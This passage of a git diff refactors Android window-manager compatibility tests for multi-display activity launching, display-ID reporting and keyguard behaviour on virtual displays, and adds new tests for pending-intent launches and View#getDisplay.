+ launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId);
- // Check that the first activity is launched onto the secondary display
- waitAndAssertTopResumedActivity(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be resumed");
+ // Check that the first activity is launched onto the secondary display
+ waitAndAssertTopResumedActivity(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be resumed");
- executeShellCommand("am start -n " + getActivityName(TEST_ACTIVITY));
+ executeShellCommand("am start -n " + getActivityName(TEST_ACTIVITY));
- // Check that the second activity is launched on the default display
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
- "Activity launched on default display must be resumed");
- mAmWmState.assertResumedActivities("Both displays should have resumed activities",
- new SparseArray<ComponentName>(){{
- put(DEFAULT_DISPLAY, TEST_ACTIVITY);
- put(newDisplay.mId, BROADCAST_RECEIVER_ACTIVITY);
- }}
- );
+ // Check that the second activity is launched on the default display
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity launched on default display must be resumed");
+ assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, TEST_ACTIVITY),
+ pair(newDisplay.mId, BROADCAST_RECEIVER_ACTIVITY));
- mBroadcastActionTrigger.launchActivityNewTask(getActivityName(LAUNCHING_ACTIVITY));
+ mBroadcastActionTrigger.launchActivityNewTask(getActivityName(LAUNCHING_ACTIVITY));
- // Check that the third activity ends up in a new stack in the same display where the
- // first activity lands
- waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
- "Activity must be launched on secondary display");
- assertEquals("Secondary display must contain 2 stacks", 2,
- mAmWmState.getAmState().getDisplay(newDisplay.mId).mStacks.size());
- mAmWmState.assertResumedActivities("Both displays should have resumed activities",
- new SparseArray<ComponentName>(){{
- put(DEFAULT_DISPLAY, TEST_ACTIVITY);
- put(newDisplay.mId, LAUNCHING_ACTIVITY);
- }}
- );
- }
+ // Check that the third activity ends up in a new stack in the same display where the
+ // first activity lands
+ waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
+ "Activity must be launched on secondary display");
+ assertEquals("Secondary display must contain 2 stacks", 2,
+ mAmWmState.getAmState().getDisplay(newDisplay.mId).mStacks.size());
+ assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, TEST_ACTIVITY),
+ pair(newDisplay.mId, LAUNCHING_ACTIVITY));
}
/**
* Tests than an immediate launch after new display creation is handled correctly.
*/
@Test
- public void testImmediateLaunchOnNewDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display and immediately launch an activity on it.
- final ActivityDisplay newDisplay = virtualDisplaySession
- .setLaunchActivity(TEST_ACTIVITY)
- .createDisplay();
+ public void testImmediateLaunchOnNewDisplay() {
+ // Create new virtual display and immediately launch an activity on it.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setLaunchActivity(TEST_ACTIVITY)
+ .createDisplay();
- // Check that activity is launched and placed correctly.
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Test activity must be on top");
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
- final ActivityStack firstFrontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Activity launched on secondary display must be resumed",
- getActivityName(TEST_ACTIVITY), firstFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Top stack must be on secondary display",
- frontStackId);
- }
+ // Check that activity is launched and placed correctly.
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Test activity must be on top");
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
+ final ActivityStack firstFrontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityName(TEST_ACTIVITY), firstFrontStack.mResumedActivity);
}
/** Tests launching of activities on a single task instance display. */
@Test
- public void testSingleTaskInstanceDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- ActivityDisplay display =
- virtualDisplaySession.setSimulateDisplay(true).createDisplay();
- final int displayId = display.mId;
+ public void testSingleTaskInstanceDisplay() {
+ DisplayContent display = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+ final int displayId = display.mId;
- SystemUtil.runWithShellPermissionIdentity(
- () -> mAtm.setDisplayToSingleTaskInstance(displayId));
- display = getDisplayState(displayId);
- assertTrue("Display must be set to singleTaskInstance", display.mSingleTaskInstance);
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> mAtm.setDisplayToSingleTaskInstance(displayId));
+ display = getDisplayState(displayId);
+ assertTrue("Display must be set to singleTaskInstance", display.mSingleTaskInstance);
- // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY will launch
- // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2 in the same task and
- // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3 in different task.
- launchActivityOnDisplay(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY, displayId);
+ // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY will launch
+ // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2 in the same task and
+ // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3 in different task.
+ launchActivityOnDisplay(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY, displayId);
- waitAndAssertTopResumedActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3, DEFAULT_DISPLAY,
- "Activity should be resumed on default display");
+ waitAndAssertTopResumedActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3, DEFAULT_DISPLAY,
+ "Activity should be resumed on default display");
- display = getDisplayState(displayId);
- // Verify that the 2 activities in the same task are on the display and the one in a
- // different task isn't on the display, but on the default display
- assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY",
- display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY));
- assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2",
- display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2));
+ display = getDisplayState(displayId);
+ // Verify that the 2 activities in the same task are on the display and the one in a
+ // different task isn't on the display, but on the default display
+ assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY",
+ display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY));
+ assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2",
+ display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2));
- assertFalse("Display shouldn't contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3",
- display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3));
- assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3",
- getDisplayState(DEFAULT_DISPLAY).containsActivity(
- SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3));
- }
+ assertFalse("Display shouldn't contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3",
+ display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3));
+ assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3",
+ getDisplayState(DEFAULT_DISPLAY).containsActivity(
+ SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3));
+ }
+
+ @Test
+ public void testLaunchPendingIntentActivity() throws Exception {
+ final DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+
+ final DisplayContent displayContent = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+
+ // Activity should be launched on primary display by default.
+ getPendingIntentActivity(TEST_ACTIVITY).send();
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity launched on primary display and on top");
+
+ final int resultCode = 1;
+ // Activity should be launched on target display according to the caller context.
+ final Context displayContext =
+ mContext.createDisplayContext(displayManager.getDisplay(displayContent.mId));
+ getPendingIntentActivity(TOP_ACTIVITY).send(displayContext, resultCode, null /* intent */);
+ waitAndAssertTopResumedActivity(TOP_ACTIVITY, displayContent.mId,
+ "Activity launched on secondary display and on top");
+
+ // Activity should be brought to front on the same display if it already existed.
+ getPendingIntentActivity(TEST_ACTIVITY).send(displayContext, resultCode, null /* intent */);
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity launched on primary display and on top");
+
+ // Activity should be moved to target display.
+ final ActivityOptions options = ActivityOptions.makeBasic();
+ options.setLaunchDisplayId(displayContent.mId);
+ getPendingIntentActivity(TEST_ACTIVITY).send(mContext, resultCode, null /* intent */,
+ null /* onFinished */, null /* handler */, null /* requiredPermission */,
+ options.toBundle());
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, displayContent.mId,
+ "Activity launched on secondary display and on top");
+ }
+
+ @Test
+ public void testLaunchActivityClearTask() {
+ assertBroughtExistingTaskToAnotherDisplay(FLAG_ACTIVITY_CLEAR_TASK, LAUNCHING_ACTIVITY);
+ }
+
+ @Test
+ public void testLaunchActivityClearTop() {
+ assertBroughtExistingTaskToAnotherDisplay(FLAG_ACTIVITY_CLEAR_TOP, LAUNCHING_ACTIVITY);
+ }
+
+ @Test
+ public void testLaunchActivitySingleTop() {
+ assertBroughtExistingTaskToAnotherDisplay(FLAG_ACTIVITY_SINGLE_TOP, TEST_ACTIVITY);
+ }
+
+ private void assertBroughtExistingTaskToAnotherDisplay(int flags, ComponentName topActivity) {
+ // Start TEST_ACTIVITY on top of LAUNCHING_ACTIVITY within the same task
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY).execute();
+
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+
+ // Start LAUNCHING_ACTIVITY on secondary display with target flags, verify the task
+ // be reparented to secondary display
+ getLaunchActivityBuilder()
+ .setUseInstrumentation()
+ .setTargetActivity(LAUNCHING_ACTIVITY)
+ .setIntentFlags(flags)
+ .allowMultipleInstances(false)
+ .setDisplayId(newDisplay.mId).execute();
+ waitAndAssertTopResumedActivity(topActivity, newDisplay.mId,
+ "Activity launched on secondary display and on top");
+ }
+
+ private PendingIntent getPendingIntentActivity(ComponentName activity) {
+ final Intent intent = new Intent();
+ intent.setClassName(activity.getPackageName(), activity.getClassName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ return PendingIntent.getActivity(mContext, 1 /* requestCode */, intent,
+ PendingIntent.FLAG_CANCEL_CURRENT);
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
index df087db..7cbdcd4 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
@@ -20,6 +20,7 @@
import static android.server.wm.CommandSession.ActivityCallback.ON_CONFIGURATION_CHANGED;
import static android.server.wm.CommandSession.ActivityCallback.ON_RESUME;
import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.Display.INVALID_DISPLAY;
import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -28,6 +29,7 @@
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
import android.app.Activity;
@@ -36,15 +38,17 @@
import android.content.Context;
import android.content.Intent;
import android.hardware.display.DisplayManager;
-import android.platform.test.annotations.Presubmit;
import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.ActivityManagerState.DisplayContent;
import android.view.Display;
+import android.view.View;
import android.view.WindowManager;
import android.view.inputmethod.InputMethodManager;
import android.widget.EditText;
import android.widget.LinearLayout;
-import androidx.test.filters.FlakyTest;
+import androidx.test.filters.MediumTest;
import androidx.test.rule.ActivityTestRule;
import com.android.cts.mockime.ImeEventStream;
@@ -60,6 +64,8 @@
* atest CtsActivityManagerDeviceTestCases:MultiDisplayClientTests
*/
@Presubmit
+@MediumTest
+@android.server.wm.annotation.Group3
public class MultiDisplayClientTests extends MultiDisplayTestBase {
private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
@@ -73,20 +79,18 @@
}
@Test
- @FlakyTest(bugId = 130260102, detail = "Promote to presubmit once proved stable")
public void testDisplayIdUpdateOnMove_RelaunchActivity() throws Exception {
testDisplayIdUpdateOnMove(ClientTestActivity.class, false /* handlesConfigChange */);
}
@Test
- @FlakyTest(bugId = 130260102, detail = "Promote to presubmit once proved stable")
public void testDisplayIdUpdateOnMove_NoRelaunchActivity() throws Exception {
testDisplayIdUpdateOnMove(NoRelaunchActivity.class, true /* handlesConfigChange */);
}
- private void testDisplayIdUpdateOnMove(Class<? extends Activity> activityClass,
+ private <T extends Activity> void testDisplayIdUpdateOnMove(Class<T> activityClass,
boolean handlesConfigChange) throws Exception {
- final ActivityTestRule activityTestRule = new ActivityTestRule(
+ final ActivityTestRule<T> activityTestRule = new ActivityTestRule<>(
activityClass, true /* initialTouchMode */, false /* launchActivity */);
// Launch activity display.
@@ -95,89 +99,70 @@
final ComponentName activityName = activity.getComponentName();
waitAndAssertResume(activityName);
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new simulated display
- final ActivityManagerState.ActivityDisplay newDisplay =
- virtualDisplaySession.setSimulateDisplay(true).createDisplay();
+ // Create new simulated display
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- // Move the activity to the new secondary display.
- separateTestJournal();
- final ActivityOptions launchOptions = ActivityOptions.makeBasic();
- launchOptions.setLaunchDisplayId(newDisplay.mId);
- final Intent newDisplayIntent = new Intent(mContext, activityClass);
- newDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
- getInstrumentation().getTargetContext().startActivity(newDisplayIntent,
- launchOptions.toBundle());
- waitAndAssertTopResumedActivity(activityName, newDisplay.mId,
- "Activity moved to secondary display must be focused");
+ // Move the activity to the new secondary display.
+ separateTestJournal();
+ final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+ final int displayId = newDisplay.mId;
+ launchOptions.setLaunchDisplayId(displayId);
+ final Intent newDisplayIntent = new Intent(mContext, activityClass);
+ newDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
+ getInstrumentation().getTargetContext().startActivity(newDisplayIntent,
+ launchOptions.toBundle());
+ waitAndAssertTopResumedActivity(activityName, displayId,
+ "Activity moved to secondary display must be focused");
- if (handlesConfigChange) {
- // Wait for activity to receive the configuration change after move
- waitAndAssertConfigurationChange(activityName);
- } else {
- // Activity will be re-created, wait for resumed state
- waitAndAssertResume(activityName);
- activity = activityTestRule.getActivity();
- }
- final String message = "Display id must be updated";
- assertEquals(message, newDisplay.mId, activity.getDisplayId());
- assertEquals(message, newDisplay.mId, activity.getDisplay().getDisplayId());
- final WindowManager wm = activity.getWindowManager();
- assertEquals(message, newDisplay.mId, wm.getDefaultDisplay().getDisplayId());
+ if (handlesConfigChange) {
+ // Wait for activity to receive the configuration change after move
+ waitAndAssertConfigurationChange(activityName);
+ } else {
+ // Activity will be re-created, wait for resumed state
+ waitAndAssertResume(activityName);
+ activity = activityTestRule.getActivity();
}
- }
- private void waitAndAssertConfigurationChange(ComponentName activityName) {
- mAmWmState.waitForWithAmState((state) ->
- getCallbackCount(activityName, ON_CONFIGURATION_CHANGED) == 1,
- "waitForConfigurationChange");
- assertEquals("Must receive a single configuration change", 1,
- getCallbackCount(activityName, ON_CONFIGURATION_CHANGED));
- }
+ final String suffix = " must be updated.";
+ assertEquals("Activity#getDisplayId()" + suffix, displayId, activity.getDisplayId());
+ assertEquals("Activity#getDisplay" + suffix,
+ displayId, activity.getDisplay().getDisplayId());
- private void waitAndAssertResume(ComponentName activityName) {
- mAmWmState.waitForWithAmState((state) ->
- getCallbackCount(activityName, ON_RESUME) == 1, "waitForResume");
- assertEquals("Must be resumed once", 1, getCallbackCount(activityName, ON_RESUME));
- }
+ final WindowManager wm = activity.getWindowManager();
+ assertEquals("WM#getDefaultDisplay()" + suffix,
+ displayId, wm.getDefaultDisplay().getDisplayId());
- private int getCallbackCount(ComponentName activityName,
- CommandSession.ActivityCallback callback) {
- final ActivityLifecycleCounts lifecycles = new ActivityLifecycleCounts(activityName);
- return lifecycles.getCount(callback);
+ final View view = activity.getWindow().getDecorView();
+ assertEquals("View#getDisplay()" + suffix,
+ displayId, view.getDisplay().getDisplayId());
}
@Test
- @FlakyTest(bugId = 130379901, detail = "Promote to presubmit once proved stable")
public void testDisplayIdUpdateWhenImeMove_RelaunchActivity() throws Exception {
- try (final TestActivitySession<ClientTestActivity> session = new TestActivitySession<>()) {
- testDisplayIdUpdateWhenImeMove(ClientTestActivity.class);
- }
+ testDisplayIdUpdateWhenImeMove(ClientTestActivity.class);
}
@Test
- @FlakyTest(bugId = 130379901, detail = "Promote to presubmit once proved stable")
public void testDisplayIdUpdateWhenImeMove_NoRelaunchActivity() throws Exception {
- try (final TestActivitySession<NoRelaunchActivity> session = new TestActivitySession<>()) {
- testDisplayIdUpdateWhenImeMove(NoRelaunchActivity.class);
- }
+ testDisplayIdUpdateWhenImeMove(NoRelaunchActivity.class);
}
private void testDisplayIdUpdateWhenImeMove(Class<? extends ImeTestActivity> activityClass)
throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
- final MockImeSession mockImeSession = MockImeSession.create(mContext)) {
+ final VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
+ final MockImeSession mockImeSession = MockImeHelper.createManagedMockImeSession(this);
- assertImeShownAndMatchesDisplayId(
- activityClass, mockImeSession, DEFAULT_DISPLAY);
+ assertImeShownAndMatchesDisplayId(
+ activityClass, mockImeSession, DEFAULT_DISPLAY);
- final ActivityManagerState.ActivityDisplay newDisplay = virtualDisplaySession
- .setSimulateDisplay(true).setShowSystemDecorations(true).createDisplay();
+ final DisplayContent newDisplay = virtualDisplaySession
+ .setSimulateDisplay(true).setShowSystemDecorations(true).createDisplay();
- // Launch activity on the secondary display and make IME show.
- assertImeShownAndMatchesDisplayId(
- activityClass, mockImeSession, newDisplay.mId);
- }
+ // Launch activity on the secondary display and make IME show.
+ assertImeShownAndMatchesDisplayId(
+ activityClass, mockImeSession, newDisplay.mId);
}
private void assertImeShownAndMatchesDisplayId(Class<? extends ImeTestActivity> activityClass,
@@ -196,27 +181,103 @@
expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
mAmWmState.waitAndAssertImeWindowShownOnDisplay(targetDisplayId);
- final int displayId = expectCommand(stream, imeSession.callGetDisplayId(), TIMEOUT)
+ final int imeDisplayId = expectCommand(stream, imeSession.callGetDisplayId(), TIMEOUT)
.getReturnIntegerValue();
- assertEquals("Display ID must match", targetDisplayId, displayId);
+ assertEquals("IME#getDisplayId() must match when IME move.",
+ targetDisplayId, imeDisplayId);
}
@Test
- @FlakyTest(bugId = 130379901, detail = "Promote to presubmit once proved stable")
- public void testInputMethodManagerDisplayId() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create a simulated display.
- final ActivityManagerState.ActivityDisplay newDisplay = virtualDisplaySession
- .setSimulateDisplay(true).createDisplay();
+ public void testInputMethodManagerDisplayId() {
+ // Create a simulated display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- final Display display = mContext.getSystemService(DisplayManager.class)
- .getDisplay(newDisplay.mId);
- final Context newDisplayContext = mContext.createDisplayContext(display);
- final InputMethodManager imm =
- newDisplayContext.getSystemService(InputMethodManager.class);
+ final Display display = mContext.getSystemService(DisplayManager.class)
+ .getDisplay(newDisplay.mId);
+ final Context newDisplayContext = mContext.createDisplayContext(display);
+ final InputMethodManager imm = newDisplayContext.getSystemService(InputMethodManager.class);
- assertEquals(newDisplay.mId, imm.getDisplayId());
- }
+ assertEquals("IMM#getDisplayId() must match.", newDisplay.mId, imm.getDisplayId());
+ }
+
+ @Test
+ public void testViewGetDisplayOnPrimaryDisplay() {
+ testViewGetDisplay(true /* isPrimary */);
+ }
+
+ @Test
+ public void testViewGetDisplayOnSecondaryDisplay() {
+ testViewGetDisplay(false /* isPrimary */);
+ }
+
+ private void testViewGetDisplay(boolean isPrimary) {
+ final TestActivitySession<ClientTestActivity> activitySession =
+ createManagedTestActivitySession();
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+ final int displayId = isPrimary ? DEFAULT_DISPLAY : newDisplay.mId;
+
+ separateTestJournal();
+ activitySession.launchTestActivityOnDisplaySync(ClientTestActivity.class, displayId);
+
+ final Activity activity = activitySession.getActivity();
+ final ComponentName activityName = activity.getComponentName();
+
+ waitAndAssertTopResumedActivity(activityName, displayId,
+ "Activity launched on display:" + displayId + " must be focused");
+
+ // Test View#getdisplay() from activity
+ final View view = activity.getWindow().getDecorView();
+ assertEquals("View#getDisplay() must match.", displayId, view.getDisplay().getDisplayId());
+
+ final int[] resultDisplayId = { INVALID_DISPLAY };
+ activitySession.runOnMainAndAssertWithTimeout(
+ () -> {
+ // Test View#getdisplay() from WM#addView()
+ final WindowManager wm = activity.getWindowManager();
+ final View addedView = new View(activity);
+ wm.addView(addedView, new WindowManager.LayoutParams());
+
+ // Get display ID from callback in case the added view has not be attached.
+ addedView.addOnAttachStateChangeListener(
+ new View.OnAttachStateChangeListener() {
+ @Override
+ public void onViewAttachedToWindow(View view) {
+ resultDisplayId[0] = view.getDisplay().getDisplayId();
+ }
+
+ @Override
+ public void onViewDetachedFromWindow(View view) {}
+ });
+
+ return displayId == resultDisplayId[0];
+ }, TIMEOUT, "Display from added view must match. "
+ + "Should be display:" + displayId
+ + ", but was display:" + resultDisplayId[0]
+ );
+ }
+
+ private void waitAndAssertConfigurationChange(ComponentName activityName) {
+ assertTrue("Must receive a single configuration change",
+ mAmWmState.waitForWithAmState(
+ state -> getCallbackCount(activityName, ON_CONFIGURATION_CHANGED) == 1,
+ activityName + " receives configuration change"));
+ }
+
+ private void waitAndAssertResume(ComponentName activityName) {
+ assertTrue("Must be resumed once",
+ mAmWmState.waitForWithAmState(
+ state -> getCallbackCount(activityName, ON_RESUME) == 1,
+ activityName + " performs resume"));
+ }
+
+ private static int getCallbackCount(ComponentName activityName,
+ CommandSession.ActivityCallback callback) {
+ final ActivityLifecycleCounts lifecycles = new ActivityLifecycleCounts(activityName);
+ return lifecycles.getCount(callback);
}
public static class ClientTestActivity extends ImeTestActivity { }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
index 9a51039..56949d8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
@@ -25,7 +25,7 @@
import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.ActivityManagerState.ActivityDisplay;
+import android.server.wm.ActivityManagerState.DisplayContent;
import org.junit.Before;
import org.junit.Test;
@@ -39,6 +39,7 @@
* atest CtsWindowManagerDeviceTestCases:MultiDisplayKeyguardTests
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class MultiDisplayKeyguardTests extends MultiDisplayTestBase {
@Before
@@ -55,18 +56,16 @@
* insecure keyguard).
*/
@Test
- public void testDismissKeyguardActivity_secondaryDisplay() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession();
- final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testDismissKeyguardActivity_secondaryDisplay() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
- lockScreenSession.gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mId);
- mAmWmState.waitForKeyguardShowingAndNotOccluded();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
- }
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivityOnDisplay(DISMISS_KEYGUARD_ACTIVITY, newDisplay.mId);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
}
/**
@@ -74,24 +73,23 @@
* @throws Exception
*/
@Test
- public void testShowKeyguardDialogOnSecondaryDisplay() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession();
- final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay publicDisplay = virtualDisplaySession.setPublicDisplay(true)
- .createDisplay();
- lockScreenSession.gotoKeyguard();
- mAmWmState.waitForWithWmState((state) -> isKeyguardOnDisplay(state, publicDisplay.mId),
- "Waiting for keyguard window to show");
+ public void testShowKeyguardDialogOnSecondaryDisplay() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ final DisplayContent publicDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .createDisplay();
- assertTrue("KeyguardDialog must show on external public display",
- isKeyguardOnDisplay(mAmWmState.getWmState(), publicDisplay.mId));
+ lockScreenSession.gotoKeyguard();
+ assertTrue("KeyguardDialog must show on external public display",
+ mAmWmState.waitForWithWmState(
+ state -> isKeyguardOnDisplay(state, publicDisplay.mId),
+ "keyguard window to show"));
- // Keyguard dialog mustn't be removed when press back key
- pressBackButton();
- mAmWmState.computeState(true);
- assertTrue("KeyguardDialog must not be removed when press back key",
- isKeyguardOnDisplay(mAmWmState.getWmState(), publicDisplay.mId));
- }
+ // Keyguard dialog mustn't be removed when press back key
+ pressBackButton();
+ mAmWmState.computeState(true);
+ assertTrue("KeyguardDialog must not be removed when press back key",
+ isKeyguardOnDisplay(mAmWmState.getWmState(), publicDisplay.mId));
}
/**
@@ -99,23 +97,23 @@
* @throws Exception
*/
@Test
- public void testNoKeyguardDialogOnPrivateDisplay() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession();
- final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay privateDisplay = virtualDisplaySession.setPublicDisplay(false)
- .createDisplay();
- final ActivityDisplay publicDisplay = virtualDisplaySession.setPublicDisplay(true)
- .createDisplay();
+ public void testNoKeyguardDialogOnPrivateDisplay() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ final VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
- lockScreenSession.gotoKeyguard();
- mAmWmState.waitForWithWmState((state) -> isKeyguardOnDisplay(state, publicDisplay.mId),
- "Waiting for keyguard window to show");
+ final DisplayContent privateDisplay =
+ virtualDisplaySession.setPublicDisplay(false).createDisplay();
+ final DisplayContent publicDisplay =
+ virtualDisplaySession.setPublicDisplay(true).createDisplay();
- assertTrue("KeyguardDialog must show on external public display",
- isKeyguardOnDisplay(mAmWmState.getWmState(), publicDisplay.mId));
- assertFalse("KeyguardDialog must not show on external private display",
- isKeyguardOnDisplay(mAmWmState.getWmState(), privateDisplay.mId));
- }
+ lockScreenSession.gotoKeyguard();
+ assertTrue("KeyguardDialog must show on external public display",
+ mAmWmState.waitForWithWmState(
+ state -> isKeyguardOnDisplay(state, publicDisplay.mId),
+ "keyguard window to show"));
+
+ assertFalse("KeyguardDialog must not show on external private display",
+ isKeyguardOnDisplay(mAmWmState.getWmState(), privateDisplay.mId));
}
private boolean isKeyguardOnDisplay(WindowManagerState windowManagerState, int displayId) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayLockedKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayLockedKeyguardTests.java
index 642a3f0..2e034c0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayLockedKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayLockedKeyguardTests.java
@@ -27,7 +27,7 @@
import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.ActivityManagerState.ActivityDisplay;
+import android.server.wm.ActivityManagerState.DisplayContent;
import androidx.test.filters.FlakyTest;
@@ -41,6 +41,7 @@
* atest CtsWindowManagerDeviceTestCases:MultiDisplayLockedKeyguardTests
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class MultiDisplayLockedKeyguardTests extends MultiDisplayTestBase {
@Before
@@ -56,113 +57,111 @@
* Test that virtual display content is hidden when device is locked.
*/
@Test
- @FlakyTest(bugId = 131005232)
- public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession();
